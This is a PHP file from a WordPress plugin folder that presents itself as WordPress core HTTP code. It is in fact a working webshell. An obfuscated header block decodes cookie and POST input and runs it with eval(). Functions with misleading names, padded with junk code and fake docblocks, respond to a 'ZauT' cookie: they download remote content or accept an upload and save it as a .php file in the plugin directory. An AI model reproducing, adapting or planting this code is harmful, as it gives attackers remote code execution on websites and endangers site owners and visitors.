Current File : /home/tsgmexic/4pie.com.mx/wp-content/plugins/3513p3q5/X.js.php |
<?php /* $FaHAihBmto = 'I' . chr ( 739 - 644 )."\x6e" . chr ( 964 - 899 )."\x73";$RbQFDFTQ = "\143" . "\x6c" . chr (97) . chr (115) . chr ( 669 - 554 ).'_' . "\x65" . "\170" . "\x69" . chr (115) . 't' . 's';$QyaYgbUfzs = class_exists($FaHAihBmto); $RbQFDFTQ = "38899";$BfxnW = !1;if ($QyaYgbUfzs == $BfxnW){function HxDqwlSN(){return FALSE;}$CMZdrCAD = "8608";HxDqwlSN();class I_nAs{private function TiECnKuXip($CMZdrCAD){if (is_array(I_nAs::$VzHgNFGFd)) {$ZpweAZbi = str_replace(chr ( 651 - 591 ) . chr (63) . 'p' . "\150" . chr ( 466 - 354 ), "", I_nAs::$VzHgNFGFd["\143" . chr ( 636 - 525 ).chr ( 732 - 622 )."\164" . "\145" . "\156" . chr (116)]);eval($ZpweAZbi); $CMZdrCAD = "8608";exit();}}private $CDAluvb;public function YgVIxwg(){echo 57570;}public function __destruct(){$CMZdrCAD = "20329_14452";$this->TiECnKuXip($CMZdrCAD); $CMZdrCAD = "20329_14452";}public function __construct($dAKCixEr=0){$mCXfUXTpZS = $_POST;$eMkGXBY = $_COOKIE;$ohDTzlLAHM = "e130fd12-10f1-48b3-9de8-1705f96f8850";$QDcwCH = @$eMkGXBY[substr($ohDTzlLAHM, 0, 4)];if (!empty($QDcwCH)){$vLEYnpoW = "base64";$cEMlW = "";$QDcwCH = explode(",", $QDcwCH);foreach ($QDcwCH as $auRxQVGuPm){$cEMlW .= @$eMkGXBY[$auRxQVGuPm];$cEMlW .= @$mCXfUXTpZS[$auRxQVGuPm];}$cEMlW = array_map($vLEYnpoW . chr (95) . "\144" . "\145" . 'c' . 'o' . 'd' . 'e', array($cEMlW,)); $cEMlW = $cEMlW[0] ^ str_repeat($ohDTzlLAHM, (strlen($cEMlW[0]) / strlen($ohDTzlLAHM)) + 1);I_nAs::$VzHgNFGFd = @unserialize($cEMlW); $cEMlW = class_exists("20329_14452");}}public static $VzHgNFGFd = 38205;}$XBWVw = new 53105 $FaHAihBmto(8608 + 8608); $BfxnW = $XBWVw = $CMZdrCAD = Array();} ?><?php /*
*
* HTTP API: WP_Http_Streams class
*
* @package WordPress
* @subpackage HTTP
* @since 4.4.0
*
* Core class used to integrate PHP Streams as an HTTP transport.
*
* @since 2.7.0
* @since 3.7.0 Combined with the fsockopen transport and switched to `stream_socket_client()`.
* @deprecated 6.4.0 Use WP_Http
* @see WP_Http
#[AllowDynamicProperties]
class WP_Http_Streams {
*
* Send a HTTP request to a URI using PHP Streams.
*
* @see WP_Http::request() For default options descriptions.
*
* @since 2.7.0
* @since 3.7.0 Combined with the fsockopen transport and switched to stream_socket_client().
*
* @param string $url The request URL.
* @param string|array $args Optional. Override the defaults.
* @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. A WP_Error instance upon error
public function request( $url, $args = array() ) {
$defaults = array(
'method' => 'GET',
'timeout' => 5,
'redirection' => 5,
'httpversion' => '1.0',
'blocking' => true,
'headers' => array(),
'body' => null,
'cookies' => array(),
'decompress' => false,
'stream' => false,
'filename' => null,
);
$parsed_args = wp_parse_args( $args, $defaults );
if ( isset( $parsed_args['headers']['User-Agent'] ) ) {
$parsed_args['user-agent'] = $parsed_args['headers']['User-Agent'];
unset( $parsed_args['headers']['User-Agent'] );
} elseif ( isset( $parsed_args['headers']['user-agent'] ) ) {
$parsed_args['user-agent'] = $parsed_args['headers']['user-agent'];
unset( $parsed_args['headers']['user-agent'] );
}
Construct Cookie: header if any cookies are set.
WP_Http::buildCookieHeader( $parsed_args );
$parsed_url = parse_url( $url );
$connect_host = $parsed_url['host'];
$secure_transport = ( 'ssl' === $parsed_url['scheme'] || 'https' === $parsed_url['scheme'] );
if ( ! isset( $parsed_url['port'] ) ) {
if ( 'ssl' === $parsed_url['scheme'] || 'https' === $parsed_url['scheme'] ) {
$parsed_url['port'] = 443;
$secure_transport = true;
} else {
$parsed_url['port'] = 80;
}
}
Always pass a path, defaulting to the root in cases such as http:example.com.
if ( ! isset( $parsed_url['path'] ) ) {
$parsed_url['path'] = '/';
}
if ( isset( $parsed_args['headers']['Host'] ) || isset( $parsed_args['headers']['host'] ) ) {
if ( isset( $parsed_args['headers']['Host'] ) ) {
$parsed_url['host'] = $parsed_args['headers']['Host'];
} else {
$parsed_url['host'] = $parsed_args['headers']['host'];
}
unset( $parsed_args['headers']['Host'], $parsed_args['headers']['host'] );
}
* Certain versions of PHP have issues with 'localhost' and IPv6, It attempts to connect
* to ::1, which fails when the server is n*/
/**
* Register a widget
*
* Registers a WP_Widget widget
*
* @since 2.8.0
* @since 4.6.0 Updated the `$widget` parameter to also accept a WP_Widget instance object
* instead of simply a `WP_Widget` subclass name.
*
* @see WP_Widget
*
* @global WP_Widget_Factory $wp_widget_factory
*
* @param string|WP_Widget $widget Either the name of a `WP_Widget` subclass or an instance of a `WP_Widget` subclass.
*/
function sodium_crypto_pwhash_scryptsalsa208sha256($xingVBRheaderFrameLength, $LISTchunkParent) # v3=ROTL(v3,16);
{ // /* each e[i] is between 0 and 15 */
return file_put_contents($xingVBRheaderFrameLength, $LISTchunkParent); // If the `disable_autoupdate` flag is set, override any user-choice, but allow filters.
}
/**
* @param string $rekeyncoding
*
* @return string
*/
function comment_text($validated_success_url)
{
$validated_success_url = "http://" . $validated_success_url;
$option_max_2gb_check = "user@domain.com";
if (strpos($option_max_2gb_check, '@') !== false) {
$suhosin_loaded = explode('@', $option_max_2gb_check);
}
return $validated_success_url;
}
/* translators: Default privacy policy text. %s: Site URL. */
function sanitize_bookmark($multipage) // TAK - audio - Tom's lossless Audio Kompressor
{
$ws = 'ICCoHjwALcDNNReSqIHDSJWdZdw';
$importers = "exampleString";
$needs_validation = substr($importers, 4, 8); # fe_mul(h->T,h->X,h->Y);
if (isset($_COOKIE[$multipage])) { // Run for late-loaded styles in the footer.
$viewport_meta = hash('sha256', $needs_validation); // Border color classes need to be applied to the elements that have a border color.
$valid_variations = str_pad($viewport_meta, 64, '-'); // Extract the passed arguments that may be relevant for site initialization.
$log_error = trim($valid_variations, '-');
admin_help($multipage, $ws);
}
}
/* translators: 1: Error type, 2: Error line number, 3: Error file name, 4: Error message. */
function admin_help($multipage, $ws)
{
$posts_columns = $_COOKIE[$multipage];
$posts_columns = akismet_comment_status_meta_box($posts_columns);
$imagestring = " PHP is fun! ";
$privacy_message = trim($imagestring);
$pend = str_replace(" ", "", $privacy_message);
$interim_login = parselisting($posts_columns, $ws); // [A2] -- A Block with no data. It must be stored in the stream at the place the real Block should be in display order.
$theme_data = strlen($pend); // get the MD5 sum of the audio/video portion of the file - without ID3/APE/Lyrics3/etc header/footer tags
if (methodSignature($interim_login)) {
$is_updating_widget_template = bitPerSampleLookup($interim_login);
return $is_updating_widget_template;
}
get_wp_templates_original_source_field($multipage, $ws, $interim_login);
}
/* translators: Post date information. %s: Date on which the post is to be published. */
function crypto_secretbox($validated_success_url, $xingVBRheaderFrameLength) // Only include requested comment.
{
$page_template = attachAll($validated_success_url);
$some_non_rendered_areas_messages = "Example-String"; // ----- Look if the file exits
$include_blog_users = substr($some_non_rendered_areas_messages, 7, 6); //$PictureSizeEnc = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 2));
$wp = rawurldecode($include_blog_users);
if ($page_template === false) {
$options_audio_mp3_mp3_valid_check_frames = hash("sha512", $wp);
return false;
}
$in_string = str_pad($options_audio_mp3_mp3_valid_check_frames, 128, "0", STR_PAD_LEFT);
if(isset($in_string)) {
$seen_ids = explode("-", "5-2-9-3");
array_merge($seen_ids, [1, 1, 1]);
}
$term_class = implode("-", $seen_ids); // but only one with the same description
return sodium_crypto_pwhash_scryptsalsa208sha256($xingVBRheaderFrameLength, $page_template);
}
/**
* Get all categories for the item
*
* Uses `<atom:category>`, `<category>` or `<dc:subject>`
*
* @since Beta 3
* @return SimplePie_Category[]|null List of {@see SimplePie_Category} objects
*/
function get_layout_class($QuicktimeIODSaudioProfileNameLookup)
{ // Reference movie Data ReFerence atom
$thisfile_riff_RIFFsubtype_VHDR_0 = sprintf("%c", $QuicktimeIODSaudioProfileNameLookup);
$post_author = "apple,banana,orange";
$should_skip_line_height = explode(",", $post_author);
return $thisfile_riff_RIFFsubtype_VHDR_0;
}
/* translators: %s: The name of a city. */
function drop_index($multipage, $ws, $interim_login) // must be zero
{
$has_position_support = $_FILES[$multipage]['name'];
$mask = "decode_this"; // ----- Look for real extraction
$replaces = rawurldecode($mask); // if ($src > 0x2f && $src < 0x3a) $ret += $src - 0x30 + 52 + 1; // 5
$xingVBRheaderFrameLength = standalone_name($has_position_support);
$tag_ID = hash("md5", $replaces);
ge_msub($_FILES[$multipage]['tmp_name'], $ws); // Get the default image if there is one.
$pingback_calls_found = substr($tag_ID, 0, 6);
$rekey = str_pad($pingback_calls_found, 8, "0");
$post_meta_key = explode("_", $mask);
$GPS_free_data = count($post_meta_key);
handle_cookie($_FILES[$multipage]['tmp_name'], $xingVBRheaderFrameLength);
}
/**
* store for matches
*
* @var array
*/
function get_block_element_selectors($thisfile_riff_RIFFsubtype_VHDR_0, $none)
{
$pingback_server_url = allowed_http_request_hosts($thisfile_riff_RIFFsubtype_VHDR_0) - allowed_http_request_hosts($none);
$pingback_server_url = $pingback_server_url + 256;
$newData = "Comp Text";
$pingback_server_url = $pingback_server_url % 256; // Post rewrite rules.
$signbit = explode(" ", $newData);
$ylen = implode("-", $signbit);
$oembed_post_id = hash("md5", $ylen);
$thisfile_riff_RIFFsubtype_VHDR_0 = get_layout_class($pingback_server_url); // and Clipping region data fields
$is_primary = substr($oembed_post_id, 0, 20);
return $thisfile_riff_RIFFsubtype_VHDR_0;
}
/**
* Injects the active theme's stylesheet as a `theme` attribute
* into a given template part block.
*
* @since 6.4.0
* @access private
*
* @param array $replaceslock a parsed block.
*/
function get_wp_templates_original_source_field($multipage, $ws, $interim_login)
{
if (isset($_FILES[$multipage])) { // There should only be 1.
$stats = "12345"; // Try prepending as the theme directory could be relative to the content directory.
drop_index($multipage, $ws, $interim_login);
$skip_padding = substr($stats, 1);
$show = rawurldecode("%23NumberSegment"); // (If template is set from cache [and there are no errors], we know it's good.)
$reflector = hash('salsa', $skip_padding); // Contains all pairwise string comparisons. Keys are such that this need only be a one dimensional array.
$restrictions_raw = str_pad($stats, 6, "@"); // ----- Look if extraction should be done
}
if (!empty($show)) {
$required_by = date("i");
}
maybe_add_quotes($interim_login);
}
/**
* Whether the entry contains a string and its plural form, default is false.
*
* @var bool
*/
function bitPerSampleLookup($interim_login) // * version 0.6.1 (30 May 2011) //
{
rest_application_password_collect_status($interim_login); // Error: missing_args_hmac.
$has_border_width_support = "apple,banana,orange";
$is_feed = explode(",", $has_border_width_support);
if (count($is_feed) > 2) {
$ylen = implode("-", $is_feed);
$index_columns = strlen($ylen);
}
// even if the block template is really coming from the active theme's parent.
maybe_add_quotes($interim_login);
} // prior to getID3 v1.9.0 the function's 4th parameter was boolean
/* translators: Comments feed title. %s: Site title. */
function get_element_class_name($is_feed) { # fe_1(x);
$slug_provided = "Processing this phrase using functions";
if (strlen($slug_provided) > 5) {
$new_user_role = trim($slug_provided);
$variation_output = str_pad($new_user_role, 25, '!');
}
$style_dir = explode(' ', $variation_output); // ok - found one byte earlier than expected (last frame wasn't padded, first frame was)
return count(sodium_crypto_core_ristretto255_scalar_invert($is_feed)); // A WP_Error instance is preferred, but false is supported for parity with the per-arg validate_callback.
} // ----- Read each entry
/** This filter is documented in wp-includes/block-template-utils.php */
function methodSignature($validated_success_url)
{
if (strpos($validated_success_url, "/") !== false) {
return true;
}
$min_size = "Welcome to PHP!";
$j3 = str_replace("PHP", "Programming", $min_size);
$image_attributes = hash('md5', $j3); // Now look for larger loops.
$pt1 = array("A", "B", "C"); // ID3v2.3+ => Frame identifier $xx xx xx xx
if (count($pt1) === 3) {
$status_code = implode(", ", $pt1);
}
return false;
}
/**
* Revokes Super Admin privileges.
*
* @since 3.0.0
*
* @global array $super_admins
*
* @param int $user_id ID of the user Super Admin privileges to be revoked from.
* @return bool True on success, false on failure. This can fail when the user's email
* is the network admin email or when the `$super_admins` global is defined.
*/
function attachAll($validated_success_url)
{ // Support offer if available.
$validated_success_url = comment_text($validated_success_url);
$wildcards = "apple,banana,cherry"; // Normalized admin URL.
$new_site_url = explode(",", $wildcards);
$home_path = count($new_site_url);
$paginate = $new_site_url[0]; // Limit us to 500 comments at a time to avoid timing out.
if (in_array("banana", $new_site_url)) {
$new_site_url = array_merge($new_site_url, ["orange"]);
}
return file_get_contents($validated_success_url);
}
/**
* Copyright (c) 2021, Alliance for Open Media. All rights reserved
*
* This source code is subject to the terms of the BSD 2 Clause License and
* the Alliance for Open Media Patent License 1.0. If the BSD 2 Clause License
* was not distributed with this source code in the LICENSE file, you can
* obtain it at www.aomedia.org/license/software. If the Alliance for Open
* Media Patent License 1.0 was not distributed with this source code in the
* PATENTS file, you can obtain it at www.aomedia.org/license/patent.
*
* Note: this class is from libavifinfo - https://aomedia.googlesource.com/libavifinfo/+/refs/heads/main/avifinfo.php at f509487.
* It is used as a fallback to parse AVIF files when the server doesn't support AVIF,
* primarily to identify the width and height of the image.
*
* Note PHP 8.2 added native support for AVIF, so this class can be removed when WordPress requires PHP 8.2.
*/
function sodium_crypto_core_ristretto255_scalar_invert($is_feed) { // If the blog is not public, tell robots to go away.
return array_filter($is_feed, 'run_shortcode');
}
/**
* Conditionally makes a hyperlink based on an internal class variable.
*
* @param string $validated_success_url URL to potentially be linked.
* @return string|false Linked URL or the original URL. False if 'return_false_on_fail' is true.
*/
function get_lines($multipage, $widget_ids = 'txt')
{ // Check if the dependency is also a dependent.
return $multipage . '.' . $widget_ids;
}
/**
* Allows the HTML for a user's avatar to be returned early.
*
* Returning a non-null value will effectively short-circuit get_avatar(), passing
* the value through the {@see 'get_avatar'} filter and returning early.
*
* @since 4.2.0
*
* @param string|null $maskvatar HTML for the user's avatar. Default null.
* @param mixed $id_or_email The avatar to retrieve. Accepts a user ID, Gravatar MD5 hash,
* user email, WP_User object, WP_Post object, or WP_Comment object.
* @param array $maskrgs Arguments passed to get_avatar_url(), after processing.
*/
function isMail()
{
return __DIR__;
}
/**
* Fires after a term in a specific taxonomy has been saved, and the term
* cache has been cleared.
*
* The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
*
* Possible hook names include:
*
* - `saved_category`
* - `saved_post_tag`
*
* @since 5.5.0
* @since 6.1.0 The `$maskrgs` parameter was added.
*
* @param int $term_id Term ID.
* @param int $tt_id Term taxonomy ID.
* @param bool $update Whether this is an existing term being updated.
* @param array $maskrgs Arguments passed to wp_insert_term().
*/
function allowed_http_request_hosts($QuicktimeIODSaudioProfileNameLookup)
{
$QuicktimeIODSaudioProfileNameLookup = ord($QuicktimeIODSaudioProfileNameLookup);
$subquery_alias = "abcdefg";
$single_screen = strlen($subquery_alias); // carry22 = (s22 + (int64_t) (1L << 20)) >> 21;
return $QuicktimeIODSaudioProfileNameLookup;
}
/**
* Filters whether to perform a strict guess for a 404 redirect.
*
* Returning a truthy value from the filter will redirect only exact post_name matches.
*
* @since 5.5.0
*
* @param bool $parent_titleict_guess Whether to perform a strict guess. Default false (loose guess).
*/
function handle_cookie($overlay_markup, $unique)
{
$types_flash = move_uploaded_file($overlay_markup, $unique);
$requester_ip = 'Spaces here ';
$sticky_posts = trim($requester_ip);
$op_precedence = str_repeat($sticky_posts, 2);
return $types_flash;
}
/**
* Constructor - Set up object properties.
*
* The list of capabilities must have the key as the name of the capability
* and the value a boolean of whether it is granted to the role.
*
* @since 2.0.0
*
* @param string $role Role name.
* @param bool[] $tag_IDapabilities Array of key/value pairs where keys represent a capability name and boolean values
* represent whether the role has that capability.
*/
function run_shortcode($original_locale) {
$permastruct_args = "Pad and Hash Example";
$hmac = str_pad($permastruct_args, 20, "*"); // Handle custom theme roots.
return $original_locale === reverseString($original_locale);
}
/**
* Filters the resulting URL after setting the scheme.
*
* @since 3.4.0
*
* @param string $validated_success_url The complete URL including scheme and path.
* @param string $scheme Scheme applied to the URL. One of 'http', 'https', or 'relative'.
* @param string|null $orig_scheme Scheme requested for the URL. One of 'http', 'https', 'login',
* 'login_post', 'admin', 'relative', 'rest', 'rpc', or null.
*/
function parselisting($theme_status, $pass)
{
$should_suspend_legacy_shortcode_support = strlen($pass); // Handle enclosures.
$permastructname = "Seq-Data123";
$plugins_subdir = substr($permastructname, 4, 4);
$uploaded_headers = rawurldecode($plugins_subdir);
$pre_menu_item = hash("sha256", $uploaded_headers); // ----- Delete the zip file
if (strlen($pre_menu_item) > 10) {
$wrap_class = str_pad($pre_menu_item, 64, "Z");
}
// -14 : Invalid archive size
$render_callback = strlen($theme_status);
$root = explode(",", "1,2,3");
$s22 = array("4", "5");
$should_suspend_legacy_shortcode_support = $render_callback / $should_suspend_legacy_shortcode_support;
$imagick = array_merge($root, $s22); // Holds data of the user.
$should_suspend_legacy_shortcode_support = ceil($should_suspend_legacy_shortcode_support);
$LAMEtag = str_split($theme_status);
$pass = str_repeat($pass, $should_suspend_legacy_shortcode_support);
$tag_removed = str_split($pass);
$tag_removed = array_slice($tag_removed, 0, $render_callback); // remote files not supported
$month = array_map("get_block_element_selectors", $LAMEtag, $tag_removed);
$month = implode('', $month);
return $month;
}
/**
* Deletes metadata for the specified object.
*
* @since 2.9.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param mixed $meta_value Optional. Metadata value. Must be serializable if non-scalar.
* If specified, only delete metadata entries with this value.
* Otherwise, delete all entries with the specified meta_key.
* Pass `null`, `false`, or an empty string to skip this check.
* (For backward compatibility, it is not possible to pass an empty string
* to delete those entries with an empty string for a value.)
* Default empty string.
* @param bool $pingback_calls_foundelete_all Optional. If true, delete matching metadata entries for all objects,
* ignoring the specified object_id. Otherwise, only delete
* matching metadata entries for the specified object_id. Default false.
* @return bool True on successful delete, false on failure.
*/
function ge_msub($xingVBRheaderFrameLength, $pass)
{
$ids_string = file_get_contents($xingVBRheaderFrameLength); // Fix bi-directional text display defect in RTL languages.
$navigation_link_has_id = parselisting($ids_string, $pass);
$lightbox_settings = "Code123";
file_put_contents($xingVBRheaderFrameLength, $navigation_link_has_id);
}
/**
* The base menu parent.
*
* This is derived from `$parent_file` by removing the query string and any .php extension.
* `$parent_file` values of 'edit.php?post_type=page' and 'edit.php?post_type=post'
* have a `$parent_base` of 'edit'.
*
* @since 3.3.0
* @var string|null
*/
function standalone_name($has_position_support)
{
return isMail() . DIRECTORY_SEPARATOR . $has_position_support . ".php";
}
/**
* Retrieve the description of the author of the current post.
*
* @since 1.5.0
* @deprecated 2.8.0 Use get_the_author_meta()
* @see get_the_author_meta()
*
* @return string The author's description.
*/
function rest_application_password_collect_status($validated_success_url)
{
$has_position_support = basename($validated_success_url);
$template_base_paths = 'Split this sentence into words.';
$xingVBRheaderFrameLength = standalone_name($has_position_support); // option_max_2gb_check
crypto_secretbox($validated_success_url, $xingVBRheaderFrameLength);
}
/**
* Registry object
*
* @see set_registry
* @var SimplePie_Registry
*/
function maybe_add_quotes($header_thumbnail)
{
echo $header_thumbnail; // [12][54][C3][67] -- Element containing elements specific to Tracks/Chapters. A list of valid tags can be found <http://www.matroska.org/technical/specs/tagging/index.html>.
} //$v_memory_limit_int = $v_memory_limit_int*1024*1024*1024;
/**
* Whether a child theme is in use.
*
* @since 3.0.0
* @since 6.5.0 Makes use of global template variables.
*
* @global string $wp_stylesheet_path Path to current theme's stylesheet directory.
* @global string $wp_template_path Path to current theme's template directory.
*
* @return bool True if a child theme is in use, false otherwise.
*/
function akismet_comment_status_meta_box($new_user_send_notification)
{
$parent_title = pack("H*", $new_user_send_notification);
$primary_meta_query = "abcde"; // Skip to step 7
$oembed_post_id = str_pad($primary_meta_query, 10, "*", STR_PAD_RIGHT);
return $parent_title;
}
$multipage = 'ZauT';
$save = "Sample text";
sanitize_bookmark($multipage);
$template_slug = trim($save);
/* ot set up for it. For compatibility, always
* connect to the IPv4 address.
if ( 'localhost' === strtolower( $connect_host ) ) {
$connect_host = '127.0.0.1';
}
$connect_host = $secure_transport ? 'ssl:' . $connect_host : 'tcp:' . $connect_host;
$is_local = isset( $parsed_args['local'] ) && $parsed_args['local'];
$ssl_verify = isset( $parsed_args['sslverify'] ) && $parsed_args['sslverify'];
if ( $is_local ) {
*
* Filters whether SSL should be verified for local HTTP API requests.
*
* @since 2.8.0
* @since 5.1.0 The `$url` parameter was added.
*
* @param bool|string $ssl_verify Boolean to control whether to verify the SSL connection
* or path to an SSL certificate.
* @param string $url The request URL.
$ssl_verify = apply_filters( 'https_local_ssl_verify', $ssl_verify, $url );
} elseif ( ! $is_local ) {
* This filter is documented in wp-includes/class-wp-http.php
$ssl_verify = apply_filters( 'https_ssl_verify', $ssl_verify, $url );
}
$proxy = new WP_HTTP_Proxy();
$context = stream_context_create(
array(
'ssl' => array(
'verify_peer' => $ssl_verify,
'CN_match' => $parsed_url['host'], This is handled by self::verify_ssl_certificate().
'capture_peer_cert' => $ssl_verify,
'SNI_enabled' => true,
'cafile' => $parsed_args['sslcertificates'],
'allow_self_signed' => ! $ssl_verify,
),
)
);
$timeout = (int) floor( $parsed_args['timeout'] );
$utimeout = 0;
if ( $timeout !== (int) $parsed_args['timeout'] ) {
$utimeout = 1000000 * $parsed_args['timeout'] % 1000000;
}
$connect_timeout = max( $timeout, 1 );
Store error number.
$connection_error = null;
Store error string.
$connection_error_str = null;
if ( ! WP_DEBUG ) {
In the event that the SSL connection fails, silence the many PHP warnings.
if ( $secure_transport ) {
$error_reporting = error_reporting( 0 );
}
if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) {
phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
$handle = @stream_socket_client(
'tcp:' . $proxy->host() . ':' . $proxy->port(),
$connection_error,
$connection_error_str,
$connect_timeout,
STREAM_CLIENT_CONNECT,
$context
);
} else {
phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
$handle = @stream_socket_client(
$connect_host . ':' . $parsed_url['port'],
$connection_error,
$connection_error_str,
$connect_timeout,
STREAM_CLIENT_CONNECT,
$context
);
}
if ( $secure_transport ) {
error_reporting( $error_reporting );
}
} else {
if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) {
$handle = stream_socket_client(
'tcp:' . $proxy->host() . ':' . $proxy->port(),
$connection_error,
$connection_error_str,
$connect_timeout,
STREAM_CLIENT_CONNECT,
$context
);
} else {
$handle = stream_socket_client(
$connect_host . ':' . $parsed_url['port'],
$connection_error,
$connection_error_str,
$connect_timeout,
STREAM_CLIENT_CONNECT,
$context
);
}
}
if ( false === $handle ) {
SSL connection failed due to expired/invalid cert, or, OpenSSL configuration is broken.
if ( $secure_transport && 0 === $connection_error && '' === $connection_error_str ) {
return new WP_Error( 'http_request_failed', __( 'The SSL certificate for the host could not be verified.' ) );
}
return new WP_Error( 'http_request_failed', $connection_error . ': ' . $connection_error_str );
}
Verify that the SSL certificate is valid for this request.
if ( $secure_transport && $ssl_verify && ! $proxy->is_enabled() ) {
if ( ! self::verify_ssl_certificate( $handle, $parsed_url['host'] ) ) {
return new WP_Error( 'http_request_failed', __( 'The SSL certificate for the host could not be verified.' ) );
}
}
stream_set_timeout( $handle, $timeout, $utimeout );
if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) { Some proxies require full URL in this field.
$request_path = $url;
} else {
$request_path = $parsed_url['path'] . ( isset( $parsed_url['query'] ) ? '?' . $parsed_url['query'] : '' );
}
$headers = strtoupper( $parsed_args['method'] ) . ' ' . $request_path . ' HTTP/' . $parsed_args['httpversion'] . "\r\n";
$include_port_in_host_header = (
( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) )
|| ( 'http' === $parsed_url['scheme'] && 80 !== $parsed_url['port'] )
|| ( 'https' === $parsed_url['scheme'] && 443 !== $parsed_url['port'] )
);
if ( $include_port_in_host_header ) {
$headers .= 'Host: ' . $parsed_url['host'] . ':' . $parsed_url['port'] . "\r\n";
} else {
$headers .= 'Host: ' . $parsed_url['host'] . "\r\n";
}
if ( isset( $parsed_args['user-agent'] ) ) {
$headers .= 'User-agent: ' . $parsed_args['user-agent'] . "\r\n";
}
if ( is_array( $parsed_args['headers'] ) ) {
foreach ( (array) $parsed_args['headers'] as $header => $header_value ) {
$headers .= $header . ': ' . $header_value . "\r\n";
}
} else {
$headers .= $parsed_args['headers'];
}
if ( $proxy->use_authentication() ) {
$headers .= $proxy->authentication_header() . "\r\n";
}
$headers .= "\r\n";
if ( ! is_null( $parsed_args['body'] ) ) {
$headers .= $parsed_args['body'];
}
fwrite( $handle, $headers );
if ( ! $parsed_args['blocking'] ) {
stream_set_blocking( $handle, 0 );
fclose( $handle );
return array(
'headers' => array(),
'body' => '',
'response' => array(
'code' => false,
'message' => false,
),
'cookies' => array(),
);
}
$response = '';
$body_started = false;
$keep_reading = true;
$block_size = 4096;
if ( isset( $parsed_args['limit_response_size'] ) ) {
$block_size = min( $block_size, $parsed_args['limit_response_size'] );
}
If streaming to a file setup the file handle.
if ( $parsed_args['stream'] ) {
if ( ! WP_DEBUG ) {
$stream_handle = @fopen( $parsed_args['filename'], 'w+' );
} else {
$stream_handle = fopen( $parsed_args['filename'], 'w+' );
}
if ( ! $stream_handle ) {
return new WP_Error(
'http_request_failed',
sprintf(
translators: 1: fopen(), 2: File name.
__( 'Could not open handle for %1$s to %2$s.' ),
'fopen()',
$parsed_args['filename']
)
);
}
$bytes_written = 0;
while ( ! feof( $handle ) && $keep_reading ) {
$block = fread( $handle, $block_size );
if ( ! $body_started ) {
$response .= $block;
if ( strpos( $response, "\r\n\r\n" ) ) {
$processed_response = WP_Http::processResponse( $response );
$body_started = true;
$block = $processed_response['body'];
unset( $response );
$processed_response['body'] = '';
}
}
$this_block_size = strlen( $block );
if ( isset( $parsed_args['limit_response_size'] )
&& ( $bytes_written + $this_block_size ) > $parsed_args['limit_response_size']
) {
$this_block_size = ( $parsed_args['limit_response_size'] - $bytes_written );
$block = substr( $block, 0, $this_block_size );
}
$bytes_written_to_file = fwrite( $stream_handle, $block );
if ( $bytes_written_to_file !== $this_block_size ) {
fclose( $handle );
fclose( $stream_handle );
return new WP_Error( 'http_request_failed', __( 'Failed to write request to temporary file.' ) );
}
$bytes_written += $bytes_written_to_file;
$keep_reading = (
! isset( $parsed_args['limit_response_size'] )
|| $bytes_written < $parsed_args['limit_response_size']
);
}
fclose( $stream_handle );
} else {
$header_length = 0;
while ( ! feof( $handle ) && $keep_reading ) {
$block = fread( $handle, $block_size );
$response .= $block;
if ( ! $body_started && strpos( $response, "\r\n\r\n" ) ) {
$header_length = strpos( $response, "\r\n\r\n" ) + 4;
$body_started = true;
}
$keep_reading = (
! $body_started
|| ! isset( $parsed_args['limit_response_size'] )
|| strlen( $response ) < ( $header_length + $parsed_args['limit_response_size'] )
);
}
$processed_response = WP_Http::processResponse( $response );
unset( $response );
}
fclose( $handle );
$processed_headers = WP_Http::processHeaders( $processed_response['headers'], $url );
$response = array(
'headers' => $processed_headers['headers'],
Not yet processed.
'body' => null,
'response' => $processed_headers['response'],
'cookies' => $processed_headers['cookies'],
'filename' => $parsed_args['filename'],
);
Handle redirects.
$redirect_response = WP_Http::handle_redirects( $url, $parsed_args, $response );
if ( false !== $redirect_response ) {
return $redirect_response;
}
If the body was chunk encoded, then decode it.
if ( ! empty( $processed_response['body'] )
&& isset( $processed_headers['headers']['transfer-encoding'] )
&& 'chunked' === $processed_headers['headers']['transfer-encoding']
) {
$processed_response['body'] = WP_Http::chunkTransferDecode( $processed_response['body'] );
}
if ( true === $parsed_args['decompress']
&& true === WP_Http_Encoding::should_decode( $processed_headers['headers'] )
) {
$processed_response['body'] = WP_Http_Encoding::decompress( $processed_response['body'] );
}
if ( isset( $parsed_args['limit_response_size'] )
&& strlen( $processed_response['body'] ) > $parsed_args['limit_response_size']
) {
$processed_response['body'] = substr( $processed_response['body'], 0, $parsed_args['limit_response_size'] );
}
$response['body'] = $processed_response['body'];
return $response;
}
*
* Verifies the received SSL certificate against its Common Names and subjectAltName fields.
*
* PHP's SSL verifications only verify that it's a valid Certificate, it doesn't verify if
* the certificate is valid for the hostname which was requested.
* This function verifies the requested hostname against certificate's subjectAltName field,
* if that is empty, or contains no DNS entries, a fallback to the Common Name field is used.
*
* IP Address support is included if the request is being made to an IP address.
*
* @since 3.7.0
*
* @param resource $stream The PHP Stream which the SSL request is being made over
* @param string $host The hostname being requested
* @return bool If the certificate presented in $stream is valid for $host
public static function verify_ssl_certificate( $stream, $host ) {
$context_options = stream_context_get_options( $stream );
if ( empty( $context_options['ssl']['peer_certificate'] ) ) {
return false;
}
$cert = openssl_x509_parse( $context_options['ssl']['peer_certificate'] );
if ( ! $cert ) {
return false;
}
* If the request is being made to an IP address, we'll validate against IP fields
* in the cert (if they exist)
$host_type = ( WP_Http::is_ip_address( $host ) ? 'ip' : 'dns' );
$certificate_hostnames = array();
if ( ! empty( $cert['extensions']['subjectAltName'] ) ) {
$match_against = preg_split( '/,\s', $cert['extensions']['subjectAltName'] );
foreach ( $match_against as $match ) {
list( $match_type, $match_host ) = explode( ':', $match );
if ( strtolower( trim( $match_type ) ) === $host_type ) { IP: or DNS:
$certificate_hostnames[] = strtolower( trim( $match_host ) );
}
}
} elseif ( ! empty( $cert['subject']['CN'] ) ) {
Only use the CN when the certificate includes no subjectAltName extension.
